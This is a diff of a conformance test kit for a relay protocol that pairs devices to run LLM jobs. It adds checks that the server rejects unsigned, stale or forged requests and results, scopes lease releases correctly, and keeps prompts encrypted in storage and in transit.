async run(target) {
|
|
1496
|
+
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1497
|
+
try {
|
|
1498
|
+
const body = JSON.stringify({
|
|
1499
|
+
protocolVersion: PROTOCOL_VERSION2,
|
|
1500
|
+
runnerId: daemon.runnerId,
|
|
1501
|
+
capabilities: await daemon.runner.detectCapabilities(),
|
|
1502
|
+
max: 1
|
|
1503
|
+
});
|
|
1504
|
+
const post = (headers) => target.fetch(
|
|
1505
|
+
new Request(`${target.origin}/byollm/claim`, {
|
|
1506
|
+
method: "POST",
|
|
1507
|
+
headers: { "content-type": "application/json", ...headers },
|
|
1508
|
+
body
|
|
1509
|
+
})
|
|
1510
|
+
);
|
|
1511
|
+
const sign = (over = {}) => signRequest2(daemon.keys, {
|
|
1512
|
+
endpoint: over.endpoint ?? "claim",
|
|
1513
|
+
runnerId: daemon.runnerId,
|
|
1514
|
+
issuedAt: Date.now(),
|
|
1515
|
+
body: over.body ?? body
|
|
1516
|
+
});
|
|
1517
|
+
const headersFor = (s) => ({
|
|
1518
|
+
"x-byollm-runner": s.runnerId,
|
|
1519
|
+
"x-byollm-issued-at": String(s.issuedAt),
|
|
1520
|
+
"x-byollm-signature": s.signature
|
|
1521
|
+
});
|
|
1522
|
+
assert(
|
|
1523
|
+
(await post(headersFor(sign()))).status === 200,
|
|
1524
|
+
"a correctly signed request was refused"
|
|
1525
|
+
);
|
|
1526
|
+
assert(
|
|
1527
|
+
(await post({})).status === 401,
|
|
1528
|
+
"an unsigned request was accepted"
|
|
1529
|
+
);
|
|
1530
|
+
assert(
|
|
1531
|
+
(await post(headersFor(sign({ body: '{"other":true}' })))).status === 401,
|
|
1532
|
+
"a signature over different bytes was accepted"
|
|
1533
|
+
);
|
|
1534
|
+
assert(
|
|
1535
|
+
(await post(headersFor(sign({ endpoint: "release" })))).status === 401,
|
|
1536
|
+
"a signature for another endpoint was accepted"
|
|
1537
|
+
);
|
|
1538
|
+
const stranger = signRequest2(generateKeys(Date.now()), {
|
|
1539
|
+
endpoint: "claim",
|
|
1540
|
+
runnerId: daemon.runnerId,
|
|
1541
|
+
issuedAt: Date.now(),
|
|
1542
|
+
body
|
|
1543
|
+
});
|
|
1544
|
+
assert(
|
|
1545
|
+
(await post(headersFor(stranger))).status === 401,
|
|
1546
|
+
"a signature from an unpinned key was accepted"
|
|
1547
|
+
);
|
|
1548
|
+
const stale = signRequest2(daemon.keys, {
|
|
1549
|
+
endpoint: "claim",
|
|
1550
|
+
runnerId: daemon.runnerId,
|
|
1551
|
+
issuedAt: Date.now() - 864e5,
|
|
1552
|
+
body
|
|
1553
|
+
});
|
|
1554
|
+
assert(
|
|
1555
|
+
(await post(headersFor(stale))).status === 401,
|
|
1556
|
+
"a signature from a day ago was accepted"
|
|
1557
|
+
);
|
|
1558
|
+
} finally {
|
|
1559
|
+
await daemon.dispose();
|
|
1560
|
+
}
|
|
1561
|
+
}
|
|
1562
|
+
},
|
|
1563
|
+
{
|
|
1564
|
+
id: "C026_LEASE_SCOPED_RELEASE",
|
|
1565
|
+
title: "a release acts on the lease it names, not whatever lease exists",
|
|
1566
|
+
musts: ["LEASE_SCOPED_BY_GRANT"],
|
|
1567
|
+
async run(target) {
|
|
1568
|
+
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1569
|
+
try {
|
|
1570
|
+
const job = await target.enqueue({
|
|
1571
|
+
kind: "llm.generate",
|
|
1572
|
+
payload: prompt("run me once"),
|
|
1573
|
+
owner: "alice",
|
|
1574
|
+
audience: "self"
|
|
1575
|
+
});
|
|
1576
|
+
const first = await claimOne(target, daemon);
|
|
1577
|
+
assert(
|
|
1578
|
+
typeof first.lease.id === "string" && first.lease.id.length > 0,
|
|
1579
|
+
"a claimed job arrived without a lease id \u2014 nothing can be scoped to it"
|
|
1580
|
+
);
|
|
1581
|
+
await releaseLease(target, daemon, job.id, first.lease.id);
|
|
1582
|
+
const second = await claimOne(target, daemon);
|
|
1583
|
+
assert(
|
|
1584
|
+
second.lease.id !== first.lease.id,
|
|
1585
|
+
"re-claiming the same job reused the lease id, so the two grants are indistinguishable"
|
|
1586
|
+
);
|
|
1587
|
+
await releaseLease(target, daemon, job.id, first.lease.id);
|
|
1588
|
+
const state = await target.job(job.id);
|
|
1589
|
+
assert(
|
|
1590
|
+
state?.state === "claimed" || state?.state === "running",
|
|
1591
|
+
`a replayed release returned the job to "${String(state?.state)}" while it was held`
|
|
1592
|
+
);
|
|
1593
|
+
await releaseLease(target, daemon, job.id, second.lease.id);
|
|
1594
|
+
assert(
|
|
1595
|
+
(await target.job(job.id))?.state === "queued",
|
|
1596
|
+
"releasing the current lease did not return the job to the queue"
|
|
1597
|
+
);
|
|
1598
|
+
} finally {
|
|
1599
|
+
await daemon.dispose();
|
|
1600
|
+
}
|
|
1601
|
+
}
|
|
1602
|
+
},
|
|
1603
|
+
{
|
|
1604
|
+
id: "C027_CLAIM_ANSWERS_WITH_STUBS",
|
|
1605
|
+
title: "a claim carries routing metadata and no work",
|
|
1606
|
+
musts: ["STUB_METADATA_EXHAUSTIVE"],
|
|
1607
|
+
async run(target) {
|
|
1608
|
+
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1609
|
+
try {
|
|
1610
|
+
await target.enqueue({
|
|
1611
|
+
kind: "llm.generate",
|
|
1612
|
+
payload: prompt("this must not appear in a claim response"),
|
|
1613
|
+
owner: "alice",
|
|
1614
|
+
audience: "self"
|
|
1615
|
+
});
|
|
1616
|
+
const stub = await claimOne(target, daemon);
|
|
1617
|
+
const asRecord = stub;
|
|
1618
|
+
assert(
|
|
1619
|
+
asRecord["payload"] === void 0,
|
|
1620
|
+
"the claim response carried the payload"
|
|
1621
|
+
);
|
|
1622
|
+
assert(
|
|
1623
|
+
!JSON.stringify(stub).includes("this must not appear"),
|
|
1624
|
+
"the prompt text appeared somewhere in the claim response"
|
|
1625
|
+
);
|
|
1626
|
+
const parsed = ClaimedStub.safeParse(stub);
|
|
1627
|
+
assert(
|
|
1628
|
+
parsed.success,
|
|
1629
|
+
`the claim response is not a valid stub: ${parsed.success ? "" : parsed.error.issues.map((i) => i.path.join(".")).join(", ")}`
|
|
1630
|
+
);
|
|
1631
|
+
assert(
|
|
1632
|
+
["small", "medium", "large", "unbounded"].includes(
|
|
1633
|
+
String(asRecord["sizeClass"])
|
|
1634
|
+
),
|
|
1635
|
+
`sizeClass was "${String(asRecord["sizeClass"])}"`
|
|
1636
|
+
);
|
|
1637
|
+
const fetched = await fetchPayload(
|
|
1638
|
+
target,
|
|
1639
|
+
daemon,
|
|
1640
|
+
stub.id,
|
|
1641
|
+
stub.lease.id
|
|
1642
|
+
);
|
|
1643
|
+
assert(fetched !== null, "the lease holder could not fetch its work");
|
|
1644
|
+
assert(
|
|
1645
|
+
!JSON.stringify(fetched.raw).includes("this must not appear"),
|
|
1646
|
+
"the payload crossed the wire in the clear"
|
|
1647
|
+
);
|
|
1648
|
+
assert(
|
|
1649
|
+
JSON.stringify(fetched.opened).includes("this must not appear"),
|
|
1650
|
+
"the runner holding the lease could not open its own work"
|
|
1651
|
+
);
|
|
1652
|
+
const wrong = await fetchPayload(
|
|
1653
|
+
target,
|
|
1654
|
+
daemon,
|
|
1655
|
+
stub.id,
|
|
1656
|
+
"lease-that-does-not-exist"
|
|
1657
|
+
);
|
|
1658
|
+
assert(
|
|
1659
|
+
wrong === null,
|
|
1660
|
+
"fetch answered for a lease this runner does not hold"
|
|
1661
|
+
);
|
|
1662
|
+
} finally {
|
|
1663
|
+
await daemon.dispose();
|
|
1664
|
+
}
|
|
1665
|
+
}
|
|
1666
|
+
},
|
|
1667
|
+
{
|
|
1668
|
+
id: "C028_STORED_WORK_IS_SEALED",
|
|
1669
|
+
title: "the store holds ciphertext, and a wrong-key envelope is refused",
|
|
1670
|
+
musts: ["ENVELOPE_SEALED_AND_SIGNED"],
|
|
1671
|
+
async run(target) {
|
|
1672
|
+
const secret = "a prompt nobody should read from storage";
|
|
1673
|
+
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1674
|
+
try {
|
|
1675
|
+
const job = await target.enqueue({
|
|
1676
|
+
kind: "llm.generate",
|
|
1677
|
+
payload: prompt(secret),
|
|
1678
|
+
owner: "alice",
|
|
1679
|
+
audience: "self"
|
|
1680
|
+
});
|
|
1681
|
+
const stored = await target.job(job.id);
|
|
1682
|
+
assert(
|
|
1683
|
+
!JSON.stringify(stored ?? {}).includes(secret),
|
|
1684
|
+
"the prompt was readable in the stored job"
|
|
1685
|
+
);
|
|
1686
|
+
const stub = await claimOne(target, daemon);
|
|
1687
|
+
const delivered = await fetchPayload(
|
|
1688
|
+
target,
|
|
1689
|
+
daemon,
|
|
1690
|
+
stub.id,
|
|
1691
|
+
stub.lease.id
|
|
1692
|
+
);
|
|
1693
|
+
assert(delivered !== null, "the lease holder could not fetch its work");
|
|
1694
|
+
assert(
|
|
1695
|
+
!JSON.stringify(delivered.raw).includes(secret),
|
|
1696
|
+
"the work crossed the wire in the clear"
|
|
1697
|
+
);
|
|
1698
|
+
assert(
|
|
1699
|
+
JSON.stringify(delivered.opened).includes(secret),
|
|
1700
|
+
"the device could not open work sealed to it"
|
|
1701
|
+
);
|
|
1702
|
+
} finally {
|
|
1703
|
+
await daemon.dispose();
|
|
1704
|
+
}
|
|
1705
|
+
}
|
|
1706
|
+
},
|
|
1707
|
+
{
|
|
1708
|
+
id: "C029_DAEMON_REFUSES_UNSIGNED_WORK",
|
|
1709
|
+
title: "a daemon refuses work not signed by the site it pinned",
|
|
1710
|
+
musts: ["ENVELOPE_SEALED_AND_SIGNED"],
|
|
1711
|
+
async run(target) {
|
|
1712
|
+
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1713
|
+
try {
|
|
1714
|
+
const keys = await daemon.identityKeys();
|
|
1715
|
+
const relay = generateKeys(Date.now());
|
|
1716
|
+
const forged = await seal2({
|
|
1717
|
+
plaintext: JSON.stringify({ prompt: "run this instead" }),
|
|
1718
|
+
senderKeys: relay,
|
|
1719
|
+
recipientEncryptionPublic: keys.encryptionPublic,
|
|
1720
|
+
context: {
|
|
1721
|
+
jobId: "job_anything",
|
|
1722
|
+
senderKeyId: keyId2(daemon.sitePinned.identity),
|
|
1723
|
+
recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
|
|
1724
|
+
deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS2,
|
|
1725
|
+
direction: "payload"
|
|
1726
|
+
}
|
|
1727
|
+
});
|
|
1728
|
+
const opened = await open2({
|
|
1729
|
+
envelope: forged,
|
|
1730
|
+
recipientKeys: keys,
|
|
1731
|
+
senderIdentityPublic: daemon.sitePinned.identity,
|
|
1732
|
+
expected: {
|
|
1733
|
+
jobId: "job_anything",
|
|
1734
|
+
senderKeyId: keyId2(daemon.sitePinned.identity),
|
|
1735
|
+
recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
|
|
1736
|
+
direction: "payload"
|
|
1737
|
+
}
|
|
1738
|
+
});
|
|
1739
|
+
assert(
|
|
1740
|
+
!opened.ok,
|
|
1741
|
+
"a daemon accepted work signed by a key it never pinned"
|
|
1742
|
+
);
|
|
1743
|
+
assert(
|
|
1744
|
+
opened.reason === "bad-signature",
|
|
1745
|
+
`refused for "${opened.reason}", not the signature \u2014 which is the property here`
|
|
1746
|
+
);
|
|
1747
|
+
const genuine = await fetchGenuine(target, daemon);
|
|
1748
|
+
assert(genuine, "a daemon could not open work its own site sealed");
|
|
1749
|
+
} finally {
|
|
1750
|
+
await daemon.dispose();
|
|
1751
|
+
}
|
|
1752
|
+
}
|
|
1753
|
+
},
|
|
1754
|
+
{
|
|
1755
|
+
id: "C030_SITE_REFUSES_UNSIGNED_RESULTS",
|
|
1756
|
+
title: "a site refuses a result not signed by the device that ran it",
|
|
1757
|
+
musts: ["ENVELOPE_SEALED_AND_SIGNED"],
|
|
1758
|
+
async run(target) {
|
|
1759
|
+
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1760
|
+
try {
|
|
1761
|
+
const job = await target.enqueue({
|
|
1762
|
+
kind: "llm.generate",
|
|
1763
|
+
payload: { prompt: "who signed this" },
|
|
1764
|
+
owner: "alice"
|
|
1765
|
+
});
|
|
1766
|
+
const claimed = await claimOne(target, daemon);
|
|
1767
|
+
assert(claimed.id === job.id, "the harness could not claim its job");
|
|
1768
|
+
const relay = generateKeys(Date.now());
|
|
1769
|
+
const forged = await postResult(target, daemon, {
|
|
1770
|
+
jobId: job.id,
|
|
1771
|
+
outcome: { outcome: "ok", text: "an answer the device never gave" },
|
|
1772
|
+
sealWith: relay
|
|
1773
|
+
});
|
|
1774
|
+
assert(
|
|
1775
|
+
forged.status !== 200,
|
|
1776
|
+
"a site accepted a result signed by a key it never approved"
|
|
1777
|
+
);
|
|
1778
|
+
const afterForgery = await target.job(job.id);
|
|
1779
|
+
assert(
|
|
1780
|
+
afterForgery?.outcome === void 0,
|
|
1781
|
+
"a refused result still reached the app"
|
|
1782
|
+
);
|
|
1783
|
+
const real = await postResult(target, daemon, {
|
|
1784
|
+
jobId: job.id,
|
|
1785
|
+
outcome: { outcome: "ok", text: "the genuine answer" }
|
|
1786
|
+
});
|
|
1787
|
+
assert(
|
|
1788
|
+
real.status === 200,
|
|
1789
|
+
`a site refused a result its own device sealed (${String(real.status)})`
|
|
1790
|
+
);
|
|
1791
|
+
const lying = await postResult(target, daemon, {
|
|
1792
|
+
jobId: job.id,
|
|
1793
|
+
outcome: {
|
|
1794
|
+
outcome: "error",
|
|
1795
|
+
code: "backend-error",
|
|
1796
|
+
message: "it actually failed",
|
|
1797
|
+
retryable: false
|
|
1798
|
+
},
|
|
1799
|
+
disposition: "ok"
|
|
1800
|
+
});
|
|
1801
|
+
assert(
|
|
1802
|
+
lying.status !== 200,
|
|
1803
|
+
"a site believed a disposition the sealed outcome contradicted"
|
|
1804
|
+
);
|
|
1805
|
+
} finally {
|
|
1806
|
+
await daemon.dispose();
|
|
1807
|
+
}
|
|
1808
|
+
}
|
|
955
1809
|
}
|
|
956
1810
|
];
|
|
957
1811
|
|
|
958
1812
|
// src/certify.ts
|
|
959
|
-
import {
|
|
1813
|
+
import {
|
|
1814
|
+
MUSTS,
|
|
1815
|
+
MUST_IDS,
|
|
1816
|
+
mustsVerifiedBy
|
|
1817
|
+
} from "@byollm/protocol";
|
|
960
1818
|
async function certify(target, options = {}) {
|
|
961
1819
|
const only = options.only;
|
|
962
1820
|
const selected = only ? CHECKS.filter((check) => only.includes(check.id)) : CHECKS;
|
|
@@ -993,8 +1851,12 @@ async function certify(target, options = {}) {
|
|
|
993
1851
|
}
|
|
994
1852
|
function uncoveredMusts(checks = CHECKS) {
|
|
995
1853
|
const covered = new Set(checks.flatMap((check) => check.musts));
|
|
996
|
-
return
|
|
1854
|
+
return mustsVerifiedBy("conformance").filter((id) => !covered.has(id));
|
|
997
1855
|
}
|
|
1856
|
+
function miscoveredMusts(checks = CHECKS) {
|
|
1857
|
+
return [...new Set(checks.flatMap((check) => check.musts))].filter((id) => MUSTS[id].verifiedBy !== "conformance").sort();
|
|
1858
|
+
}
|
|
1859
|
+
var VERIFICATION_NOTE = "(`adversarial` = proved by the reference daemon's own suites; `construction` = true by code shape; `operator` = a deployment claim, verifiable only by audit or source. None is asserted by this run.)";
|
|
998
1860
|
function formatReport(report) {
|
|
999
1861
|
const lines = [];
|
|
1000
1862
|
lines.push(`byollm conformance \u2014 ${report.target}`);
|
|
@@ -1014,11 +1876,24 @@ function formatReport(report) {
|
|
|
1014
1876
|
);
|
|
1015
1877
|
if (report.uncoveredMusts.length > 0) {
|
|
1016
1878
|
lines.push("");
|
|
1017
|
-
lines.push(" MUSTs
|
|
1879
|
+
lines.push(" MUSTs this kit can assert but does not yet:");
|
|
1018
1880
|
for (const id of report.uncoveredMusts) {
|
|
1019
1881
|
lines.push(` - ${id}: ${MUSTS[id].statement}`);
|
|
1020
1882
|
}
|
|
1021
1883
|
}
|
|
1884
|
+
const elsewhere = MUST_IDS.filter(
|
|
1885
|
+
(id) => MUSTS[id].verifiedBy !== "conformance"
|
|
1886
|
+
);
|
|
1887
|
+
if (elsewhere.length > 0) {
|
|
1888
|
+
lines.push("");
|
|
1889
|
+
lines.push(" Verified elsewhere, not by this kit:");
|
|
1890
|
+
for (const kind of ["adversarial", "construction", "operator"]) {
|
|
1891
|
+
const ids = elsewhere.filter((id) => MUSTS[id].verifiedBy === kind);
|
|
1892
|
+
if (ids.length === 0) continue;
|
|
1893
|
+
lines.push(` ${kind}: ${ids.join(", ")}`);
|
|
1894
|
+
}
|
|
1895
|
+
lines.push(` ${VERIFICATION_NOTE}`);
|
|
1896
|
+
}
|
|
1022
1897
|
return `${lines.join("\n")}
|
|
1023
1898
|
`;
|
|
1024
1899
|
}
|
|
@@ -1033,6 +1908,7 @@ export {
|
|
|
1033
1908
|
CHECKS,
|
|
1034
1909
|
certify,
|
|
1035
1910
|
uncoveredMusts,
|
|
1911
|
+
miscoveredMusts,
|
|
1036
1912
|
formatReport
|
|
1037
1913
|
};
|
|
1038
|
-
//# sourceMappingURL=chunk-
|
|
1914
|
+
//# sourceMappingURL=chunk-EXNALQ5D.js.map
|